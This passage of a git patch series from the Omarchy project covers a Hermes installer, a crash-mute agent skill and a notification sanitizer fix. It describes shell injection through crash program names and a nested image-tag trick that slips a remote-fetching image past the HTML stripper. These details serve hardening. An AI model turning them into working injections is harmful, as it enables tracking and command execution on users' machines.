-- an official install, or one built by hand -- and +# the paths are identical either way. Dropping the package is the whole job. +seed_install +rm -f "$test_home/.hermes/hermes-agent/.hermes-bootstrap-complete" +printf 'my local edit\n' >"$test_home/.hermes/hermes-agent/PATCH" +printf '%s\n' "#!/bin/bash" "exec $test_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" \ + >"$test_home/.local/bin/hermes" +remove || fail "remove succeeds when the app never finished installing Hermes" +[[ -d $test_home/.hermes/hermes-agent ]] || + fail "a Hermes runtime the app never installed survives removal" +[[ -f $test_home/.hermes/hermes-agent/PATCH ]] || + fail "local changes to a runtime the app never installed survive removal" +[[ -d $test_home/.hermes/bin && -d $test_home/.hermes/node ]] || + fail "the rest of a runtime the app never installed survives removal" +[[ -f $test_home/.local/bin/hermes ]] || + fail "the command a runtime the app never installed put on PATH survives removal" +[[ -L $test_home/.local/bin/node ]] || + fail "node links belonging to a runtime the app never installed survive removal" +pass "removal leaves a Hermes the app never installed" + +# ~/.hermes carries a dot, so a pattern rather than a plain string would also +# claim a wrapper pointing at a sibling directory that merely looks like it. +seed_install +mkdir -p "$test_home/xhermes/bin" +sibling_body="#!/bin/bash +exec $test_home/xhermes/bin/hermes \"\$@\"" +printf '%s\n' "$sibling_body" >"$test_home/.local/bin/hermes" +remove || fail "remove succeeds with a wrapper pointing at a sibling directory" +[[ -f $test_home/.local/bin/hermes && $(cat "$test_home/.local/bin/hermes") == "$sibling_body" ]] || + fail "a wrapper pointing at ~/xhermes is not mistaken for one pointing into ~/.hermes" +pass "removal matches the runtime path as a plain string" From 12646eb5a13809d889795de859258874825c5c67 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 11:45:15 +0200 Subject: [PATCH 086/336] Run the app's Hermes before calling it ready desktop_hermes_ready decided from a marker file and a text match, while a hermes the user installed themselves had to answer --version before it counted. The marker says the app's install once landed, not that it is still there, so a runtime deleted afterwards left --check reporting success: the default agent records Hermes, skips the install terminal, and the launch fails. It now runs the command, on the same 15 second budget the app itself uses. The path match is a plain string for the same reason it is in the remover -- the dot in ~/.hermes would otherwise claim a wrapper pointing at ~/xhermes. foreign_hermes_runs never tested foreignness, only that the command runs, so it is hermes_runs now and both callers share it. Co-Authored-By: Claude Opus 5 (1M context) Co-authored-by: Codex XHigh --- bin/omarchy-install-hermes-cli | 21 +++++++++++++-------- test/shell.d/hermes-cli-test.sh | 26 ++++++++++++++++++++++++++ 2 files changed, 39 insertions(+), 8 deletions(-) diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index a24f7aca..321ddac3 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -45,12 +45,17 @@ desktop_owns_hermes() { # marker is written last, and the command is what the agent actually runs. desktop_hermes_ready() { [[ -f $HOME/.hermes/hermes-agent/.hermes-bootstrap-complete ]] || return 1 - [[ -x $HOME/.local/bin/hermes ]] || return 1 # An executable of that name proves nothing about whose it is; the app's own # points into ~/.hermes, and anything else is not the install we are asking - # about. - grep -q "$HOME/.hermes" "$HOME/.local/bin/hermes" + # about. Matched as a plain string, because the path carries a dot and an + # unanchored pattern would also claim a wrapper pointing at ~/xhermes. + [[ -f $HOME/.local/bin/hermes ]] || return 1 + grep -qF "$HOME/.hermes" "$HOME/.local/bin/hermes" || return 1 + + # And a marker left behind by an install whose venv has since gone answers + # for nothing, so the command has to run, exactly as a foreign one must. + hermes_runs } # Whether Hermes is really installed, not merely whether the stub exists. A @@ -73,12 +78,12 @@ foreign_hermes() { [[ -e $HOME/.local/bin/hermes || -L $HOME/.local/bin/hermes ]] && ! ours } -# A foreign path is usable when it is a command that runs: a regular executable -# whose --version answers. The executable bit alone proves little -- a directory +# A hermes at that path is usable when it is a command that runs: a regular +# executable whose --version answers. The executable bit alone proves little -- a directory # passes -x on search permission, and a wrapper whose interpreter or target is # gone passes it too. The desktop app applies the same probe with the same 15 # second budget, so what passes here is what it will use. -foreign_hermes_runs() { +hermes_runs() { [[ -f $HOME/.local/bin/hermes && -x $HOME/.local/bin/hermes ]] && timeout 15 "$HOME/.local/bin/hermes" --version >/dev/null 2>&1 } @@ -92,7 +97,7 @@ if [[ $mode == "--check" ]]; then # A foreign command is ready when it runs; a broken one is not, and since it # is not ours to replace, nothing this installer does will make it ready. if foreign_hermes; then - if foreign_hermes_runs; then exit 0; else exit 1; fi + if hermes_runs; then exit 0; else exit 1; fi fi if installed; then exit 0; else exit 1; fi fi @@ -128,7 +133,7 @@ fi # The user already has a hermes of their own. Leave it be: a working one is # what the default agent will run, and a broken one is theirs to fix. if foreign_hermes; then - if foreign_hermes_runs; then + if hermes_runs; then exit 0 fi diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index bfe94b95..b701eb3c 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -282,3 +282,29 @@ HOME="$leak_home" PATH="$leak_bin:$mock_bin:$PATH" \ [[ -z $(cat "$leak_log") ]] || fail "the interpreter pin does not follow Hermes into the commands it runs" pass "the interpreter pin does not follow Hermes into the commands it runs" + +# The app's marker says its install once landed, not that it is still there. A +# wrapper whose runtime has since gone answers for nothing, so readiness runs +# the command, exactly as it does for a hermes the user installed themselves. +ready_home="$test_tmp/ready-home" +mkdir -p "$ready_home/.hermes/hermes-agent/venv/bin" "$ready_home/.local/bin" +touch "$ready_home/.hermes/hermes-agent/.hermes-bootstrap-complete" +printf '%s\n' "#!/bin/bash" "exec $ready_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" \ + >"$ready_home/.local/bin/hermes" +chmod +x "$ready_home/.local/bin/hermes" + +run_ready_check() { + OMARCHY_TEST_DESKTOP_INSTALLED=1 \ + OMARCHY_TEST_MISE_LOG="$mise_log" \ + HOME="$ready_home" \ + PATH="$mock_bin:$PATH" \ + bash "$ROOT/bin/omarchy-install-hermes-cli" --check >/dev/null 2>&1 +} + +run_ready_check && fail "--check rejects the app's wrapper when its runtime is gone" + +printf '%s\n' "#!/bin/bash" 'echo "hermes-agent 0.0.0-test"' \ + >"$ready_home/.hermes/hermes-agent/venv/bin/hermes" +chmod +x "$ready_home/.hermes/hermes-agent/venv/bin/hermes" +run_ready_check || fail "--check accepts the app's wrapper once it runs" +pass "readiness runs the app's command rather than trusting its marker" From cda02f0a8813b7c7325fe8450c82bf95bea653c2 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 11:45:23 +0200 Subject: [PATCH 087/336] Ask the installer who owns the Hermes wrapper Three files spelled out the line that marks ~/.local/bin/hermes as Omarchy's: the installer that writes it, Remove Preinstalls, and the migration. Two of them were copies, and a change to what ownership means would have left them matching a line nobody writes any more -- Remove Preinstalls quietly sweeping nothing, the migration mistaking Omarchy's own wrapper for a stranger's. omarchy-install-hermes-cli --owns answers it now, and the other two ask. The installer's own metadata was also a flag behind: --check has been there since this landed and was never listed. A test pins the marker to one file, so a second copy fails rather than drifts. Co-Authored-By: Claude Opus 5 (1M context) --- bin/omarchy-install-hermes-cli | 9 ++++++- bin/omarchy-remove-preinstalls | 5 ++-- migrations/1787760281.sh | 9 +++---- test/shell.d/hermes-cli-test.sh | 46 ++++++++++++++++++++++++++++++++ test/shell.d/preinstalls-test.sh | 5 +++- 5 files changed, 65 insertions(+), 9 deletions(-) diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index 321ddac3..0c2e526e 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Install the Hermes CLI as a mise-backed wrapper in ~/.local/bin -# omarchy:args=[--now] +# omarchy:args=[--check|--now|--owns] # omarchy:examples=omarchy install hermes cli | omarchy install hermes cli --now # Hermes pins every one of its dependencies exactly and declares @@ -88,6 +88,13 @@ hermes_runs() { timeout 15 "$HOME/.local/bin/hermes" --version >/dev/null 2>&1 } +# --owns answers whether the wrapper on PATH is the one this command wrote, so +# the migration and Remove Preinstalls do not each carry their own copy of the +# marker and drift from it. +if [[ $mode == "--owns" ]]; then + if ours; then exit 0; else exit 1; fi +fi + # --check lets callers tell a cold stub from a working one before they commit # to a path that assumes Hermes is ready. if [[ $mode == "--check" ]]; then diff --git a/bin/omarchy-remove-preinstalls b/bin/omarchy-remove-preinstalls index 6faf2868..3dca7b22 100755 --- a/bin/omarchy-remove-preinstalls +++ b/bin/omarchy-remove-preinstalls @@ -19,8 +19,9 @@ if gum confirm "Are you sure you want to remove all preinstalled web apps, TUI w # Only the wrapper omarchy-install-hermes-cli wrote is a preinstall. Hermes # Desktop's command, an official install, or anything else at that path is - # the user's, so it is the marker that decides, not which packages are around. - if [[ -f ~/.local/bin/hermes && ! -L ~/.local/bin/hermes ]] && grep -qxF '# Written by omarchy-install-hermes-cli.' ~/.local/bin/hermes; then + # the user's, so it is the installer that decides whether the wrapper is its + # own, rather than a copy of its marker kept here. + if omarchy-install-hermes-cli --owns; then rm -f ~/.local/bin/hermes fi diff --git a/migrations/1787760281.sh b/migrations/1787760281.sh index 1c47421c..952fa9a2 100644 --- a/migrations/1787760281.sh +++ b/migrations/1787760281.sh @@ -15,12 +15,11 @@ fi # Anything already answering to hermes that this installer did not write -- # an official install, a hand-rolled wrapper, even a dangling link -- belongs to -# the user and stays exactly as it is. +# the user and stays exactly as it is. The installer is asked rather than +# matched against here, so there is one answer to who owns that wrapper. wrapper="$HOME/.local/bin/hermes" -if [[ -e $wrapper || -L $wrapper ]]; then - if [[ -L $wrapper || ! -f $wrapper ]] || ! grep -qxF '# Written by omarchy-install-hermes-cli.' "$wrapper"; then - exit 0 - fi +if [[ -e $wrapper || -L $wrapper ]] && ! omarchy-install-hermes-cli --owns; then + exit 0 fi omarchy-install-hermes-cli diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index b701eb3c..88319dc9 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -283,6 +283,52 @@ HOME="$leak_home" PATH="$leak_bin:$mock_bin:$PATH" \ fail "the interpreter pin does not follow Hermes into the commands it runs" pass "the interpreter pin does not follow Hermes into the commands it runs" +# --owns is the one answer to whether the wrapper on PATH is this installer's. +# Remove Preinstalls and the migration both ask it rather than carrying their +# own copy of the marker, so a change to what ownership means reaches them. +owns_home="$test_tmp/owns-home" +mkdir -p "$owns_home/.local/bin" + +run_owns() { + OMARCHY_TEST_DESKTOP_INSTALLED=0 \ + OMARCHY_TEST_MISE_LOG="$mise_log" \ + HOME="$owns_home" \ + PATH="$mock_bin:$PATH" \ + bash "$ROOT/bin/omarchy-install-hermes-cli" --owns +} + +rm -f "$owns_home/.local/bin/hermes" +run_owns && fail "--owns says no when there is no wrapper at all" + +printf '%s\n' "#!/bin/bash" "$stub_marker" >"$owns_home/.local/bin/hermes" +chmod +x "$owns_home/.local/bin/hermes" +run_owns || fail "--owns recognises the stub this installer wrote" + +printf '%s\n' "#!/bin/bash" "# Replaces the stub omarchy-install-hermes-cli used to write." \ + >"$owns_home/.local/bin/hermes" +run_owns && fail "--owns needs the exact marker line, not a mention" + +# Quoting the marker inside a longer line is not the same as carrying it: the +# match is whole-line, so a wrapper describing what it replaced stays the +# user's. +printf '%s\n' "#!/bin/bash" "# Replaced '$stub_marker' with my own." \ + >"$owns_home/.local/bin/hermes" +run_owns && fail "--owns needs the marker to be the whole line, not part of one" + +rm -f "$owns_home/.local/bin/hermes" +ln -s "$test_home/.local/bin/hermes" "$owns_home/.local/bin/hermes" +run_owns && fail "--owns disclaims a symlink, whatever it resolves to" +rm -f "$owns_home/.local/bin/hermes" +pass "--owns answers for the wrapper this installer wrote and nothing else" + +# The marker lives in exactly one place. Every other caller asks --owns, so a +# second copy is drift waiting to happen. +marker_copies=$(grep -rl "Written by omarchy-install-hermes-cli" \ + "$ROOT/bin" "$ROOT/install" "$ROOT/migrations" 2>/dev/null | wc -l) +(( marker_copies == 1 )) || + fail "only omarchy-install-hermes-cli spells out the ownership marker" +pass "the ownership marker is written down once" + # The app's marker says its install once landed, not that it is still there. A # wrapper whose runtime has since gone answers for nothing, so readiness runs # the command, exactly as it does for a hermes the user installed themselves. diff --git a/test/shell.d/preinstalls-test.sh b/test/shell.d/preinstalls-test.sh index 7aba8085..0ca3e141 100755 --- a/test/shell.d/preinstalls-test.sh +++ b/test/shell.d/preinstalls-test.sh @@ -36,7 +36,10 @@ SH chmod +x "$mock_bin"/* -export PATH="$mock_bin:$PATH" +# $ROOT/bin after the mocks: Remove Preinstalls asks omarchy-install-hermes-cli +# whether the wrapper is Omarchy's rather than matching the marker itself, and +# that is the real command at runtime. The mocks still shadow what they name. +export PATH="$mock_bin:$ROOT/bin:$PATH" export HOME="$test_home" export OMARCHY_TEST_PKG_LOG="$pkg_log" From f70c55d81386a240702f73803b6bee63325f2852 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 11:45:33 +0200 Subject: [PATCH 088/336] Give Hermes the mark that reads at menu size U+E90A carried a trace of the Hermes app icon: a portrait whose detail collapses into a grey smudge beside the ten flat silhouettes the rest of the font is made of, which is what icon-font.md warns against when it says to pick a source whose silhouette alone reads. It is Font Awesome's staff-snake now, under CC BY 4.0 -- the mark Hermes serves as its favicon and titles its README with. The README records that, along with the licence the artwork carries, since it is the only note of where these come from. Co-Authored-By: Claude Opus 5 (1M context) --- default/fonts/omarchy/README.md | 2 +- default/fonts/omarchy/omarchy.ttf | Bin 9008 -> 5052 bytes 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/default/fonts/omarchy/README.md b/default/fonts/omarchy/README.md index 11558a30..03b8a909 100644 --- a/default/fonts/omarchy/README.md +++ b/default/fonts/omarchy/README.md @@ -12,7 +12,7 @@ The private-use glyphs in `omarchy.ttf` are: - `U+E907` — Ollama, from - `U+E908` — T3 Code, traced from the app icon in , since upstream publishes no monochrome SVG - `U+E909` — Ori, from , OpenRouter's own mark: Ori ships no separate logo and its product page uses this one -- `U+E90A` — Hermes, traced from the Hermes app icon (), the same art the `hermes-desktop` package ships as its icon +- `U+E90A` — Hermes, Font Awesome's staff-snake (CC BY 4.0) from , the mark Hermes serves as its favicon: their app icon is a portrait that reads as a smudge at menu size The agent marks are monochrome so the menu can render them using the active theme's foreground and selection colors. diff --git a/default/fonts/omarchy/omarchy.ttf b/default/fonts/omarchy/omarchy.ttf index 29145211c45d05ef88767dc30d750fbe84d238a2..1ddeb85ce255a899a563eb985e070a6f63f47258 100644 GIT binary patch delta 774 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 From fdb3755c7ddde199c93a16a5209a68da1803d30c Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 11:45:33 +0200 Subject: [PATCH 089/336] Document Hermes in the manual The agent table lists every CLI Omarchy pre-wires, and Hermes was missing from it. Hermes Desktop earns a paragraph of its own under the graphical apps, because the one-Hermes-per-machine arrangement is something a user meets rather than reads about: the app installs its own runtime on first launch, the terminal command and the default agent then use that same one, and removing the app takes the runtime but keeps their chats, memories and skills. Co-Authored-By: Claude Opus 5 (1M context) --- manual/17-ai.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/manual/17-ai.md b/manual/17-ai.md index f5516b88..f6212146 100644 --- a/manual/17-ai.md +++ b/manual/17-ai.md @@ -14,6 +14,7 @@ Omarchy treats AI coding agents as first-class citizens, but it doesn't pick a f | `pi` | [Mario Zechner's Pi](https://github.com/badlogic/pi-mono) | | `omp` | [Oh My Pi](https://github.com/can1357/oh-my-pi) | | `ori` | [Ori](https://openrouter.ai/docs/guides/ori/harness), OpenRouter's harness | +| `hermes` | [Hermes](https://hermes-agent.nousresearch.com/), Nous Research's agent | `ori` is the odd one out: it runs the other harnesses against OpenRouter's whole model catalog, so `ori claude`, `ori codex`, or `ori opencode` start those agents on whichever model you point them at, and `ori code` is Ori's own agent. @@ -41,7 +42,9 @@ The watching is on by default. Turn it off under _Trigger > Toggle > Crash Captu ### Desktop apps -The _Install > AI_ menu also carries a couple of graphical AI apps: the ChatGPT desktop app, and Grok Bot for chatting with xAI's models. +The _Install > AI_ menu also carries a few graphical AI apps: the ChatGPT desktop app, Grok Bot for chatting with xAI's models, and Hermes Desktop. + +Hermes Desktop is the one to know about, because there is only ever one Hermes on a machine. The app only runs against a runtime built from its own commit, so it installs one of its own under `~/.hermes` on first launch, which takes a few minutes and shows its own progress. From then on that is the Hermes the terminal `hermes` command and the default agent use too, whichever order you installed them in. Removing the app under _Remove > AI_ takes that runtime with it, and keeps your chats, memories, and the skills Hermes wrote for itself. ### Local LLMs From b68d4142d77c0ebedbadd7ed8b05ca1cf3e319b3 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Thu, 27 Aug 2026 12:22:54 +0200 Subject: [PATCH 090/336] Cut the crash-mute section of the skill to what it instructs The section had grown a paragraph per review round, each one explaining why the last was right, until one offer took a third of the file. Most of it was reassurance about what the command refuses rather than anything an agent has to do, and the command enforces that itself whatever the prose says. What is left is the instruction: offer it and never run it unprompted, say how to lift it, which of the two names to pass and why the binary is the better one, quote it because the name is the crashed program's to choose, and name the interpreter collision before muting python or node on someone's behalf. Fifty-four lines to thirty-two, with nothing dropped that changes what the agent does. --- default/agents/skills/diagnose-crash/SKILL.md | 65 ++++++------------- 1 file changed, 21 insertions(+), 44 deletions(-) diff --git a/default/agents/skills/diagnose-crash/SKILL.md b/default/agents/skills/diagnose-crash/SKILL.md index 3ae58493..ea773007 100644 --- a/default/agents/skills/diagnose-crash/SKILL.md +++ b/default/agents/skills/diagnose-crash/SKILL.md @@ -92,56 +92,33 @@ diagnosis may make is the mute below, and only when the user asks for it. ## Offer to stop the notifications for this program -A crash that is now understood keeps announcing itself, and understanding it -rarely stops it happening: an upstream bug waiting on a release, a program that -dumps core every time it exits, a driver that misbehaves on this hardware. Finish -by offering to silence crash notifications for **that one program**: +A crash you have explained often keeps happening anyway. Finish by offering to +silence notifications for **that one program**, and never run it unprompted. Say +how to lift it in the same breath, so it is not a one-way door. ```bash -omarchy-crash-mute '' -``` - -`` is the `process:` name in the crash facts, or the `binary:` path — -the command reduces a path to the same name the watcher keys on, so passing -`/usr/lib/chromium/chromium-browser` and passing `chromium-browser` land on the -same flag. Prefer the binary's path wherever the crash recorded one: the kernel -truncates the process name to 15 characters and does not truncate a basename, and -a mute on the truncated form matches nothing, forever, while looking like it -worked. - -That is also the answer for a diagnosis started by hand from `omarchy agent crash -`, which is handed no name at all: give the command the `Executable:` line -from `coredumpctl info` and let it do the reducing. Some crashes record no -executable — pass the process name then, and `unknown` where the crash has -neither, which is the name such a crash is announced under. - -The name is still whatever the crashed program's author chose to call a file, so -handle it as hostile text rather than as a word. The command refuses a name that -is not one — it cannot be talked into writing a flag outside its own directory — -but that is no help if the name reaches a shell unescaped first: single quotes -hold a space or a `$(...)`, and a name containing a single quote closes them and -runs the rest as your shell. Escape it, or the program that just crashed picks -the command. - -Offer it; never run it unprompted. The user may well want to keep being told. - -Say how to undo it in the same breath, so it is not a one-way door — and the -command answers both halves itself: - -```bash -omarchy-crash-mute '' off # un-mute this one +omarchy-crash-mute '' # silence it +omarchy-crash-mute '' off # let it speak again omarchy-crash-mute # list what is muted ``` -The key is a bare name, so programs sharing one share a mute, and anything run -through an interpreter is keyed as the interpreter. Muting `python3.13` or `node` -silences every other Python or Node program on the machine, which is rarely what -the user means: say so rather than quietly doing it. +Pass the `binary:` path from the crash facts, or the `process:` name where no +binary was recorded; the command reduces either to the name the watcher keys on. +A diagnosis run by hand from `omarchy agent crash ` has neither, so take +them from `coredumpctl info`. Prefer the binary: a process name is truncated to +15 characters and a basename is not, so muting the truncated form matches +nothing, forever, while looking like it worked. -This silences one program. Every other crash still notifies, and the muted -program still crashes — nothing here fixes anything, and a mute offered instead -of a fix that was within reach is the wrong answer. If the user wants crash -notifications off altogether, that is _Trigger > Toggle > Crash Capture_ instead. +Quote it. The name is whatever the crashed program's author called a file, and a +single quote inside one closes yours and runs the rest as your shell. + +The key is a bare name, so anything run through an interpreter is keyed as the +interpreter: muting `python3.13` silences every Python program on the machine. +Say so rather than quietly doing it. + +None of this fixes anything, and a mute offered in place of a fix that was within +reach is the wrong answer. For every program rather than one, the switch is +_Trigger > Toggle > Crash Capture_. ## If it is an Omarchy bug From 7026ede90b4c78dd3398f30b9611f72a63566121 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 16:53:55 +0200 Subject: [PATCH 091/336] Strip image tags after the newline rewrite, not before it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The card binds the body Text to styledBody, which rewrites newlines to
*after* sanitizeBody has run. That rewrite inserts tag syntax into text the stripper deliberately kept: a kept tag may hold a `<` of its own, and `` is one tag named `x` to both the stripper and Qt, so it survives whole — until the rewrite splits it into `` and a live image tag the input never contained. Measured against Qt 6.11.2 with an offscreen StyledText and a local HTTP server: that body issues the GET after this branch's sanitizer and issues nothing before it, because the one-pass /]*>/gi it replaces deleted the inner substring outright. The whole-tag bound is still the right trade — it is what stops the stripper manufacturing tags — but it only holds if nothing edits the string afterwards. So move the rewrite into NotificationLogic, next to the reasoning it depends on, and strip again after it. What Qt parses is then what was checked last. The tests assert on styledBody for the same reason, since sanitizeBody's output is no longer the string that reaches the renderer, and a regex assertion pins the card's binding because no JavaScript assertion can see a QML property. --- .../notifications/NotificationLogic.js | 13 +++++ .../components/NotificationCard.qml | 2 +- test/shell.d/notifications-test.sh | 48 ++++++++++++++++++- 3 files changed, 61 insertions(+), 2 deletions(-) diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index b3f7be09..b5a6f3ea 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -77,6 +77,18 @@ function stripImageTags(text) { return out } +// What the card renders, and the last thing to touch the string before Qt parses +// it. The newline rewrite belongs here rather than in the card because it inserts +// `
` into text stripImageTags chose to KEEP, and a kept tag may hold a `<` of +// its own: `` is one tag named `x` to both the +// stripper and Qt, until the rewrite splits it into `` and a live image tag +// the input never contained. Measured against Qt 6.11.2 — the rewritten form +// fetches, the original does not. So strip again after, and what Qt parses is what +// was checked last. +function styledBody(body, app, appIcon) { + return stripImageTags(sanitizeBody(body, app, appIcon).replace(/\r\n|\r|\n/g, "
")) +} + function sanitizeBody(body, app, appIcon) { var text = stripImageTags(String(body || "")) if (!isChromiumDerived(app, appIcon)) return text @@ -438,6 +450,7 @@ if (typeof module !== "undefined") { module.exports = { isChromiumDerived: isChromiumDerived, sanitizeBody: sanitizeBody, + styledBody: styledBody, summaryStartsWithGlyph: summaryStartsWithGlyph, shouldBypassDnd: shouldBypassDnd, isEphemeralApp: isEphemeralApp, diff --git a/shell/plugins/notifications/components/NotificationCard.qml b/shell/plugins/notifications/components/NotificationCard.qml index 1171ddc4..64e3870b 100644 --- a/shell/plugins/notifications/components/NotificationCard.qml +++ b/shell/plugins/notifications/components/NotificationCard.qml @@ -44,7 +44,7 @@ BorderSurface { readonly property bool singleLineToast: sanitizedBody.length === 0 readonly property bool collapseRedundantIcon: singleLineToast && !hasGlyph && summaryStartsWithGlyph readonly property string sanitizedBody: sanitizeBody(body) - readonly property string styledBody: sanitizedBody.replace(/\r\n|\r|\n/g, "
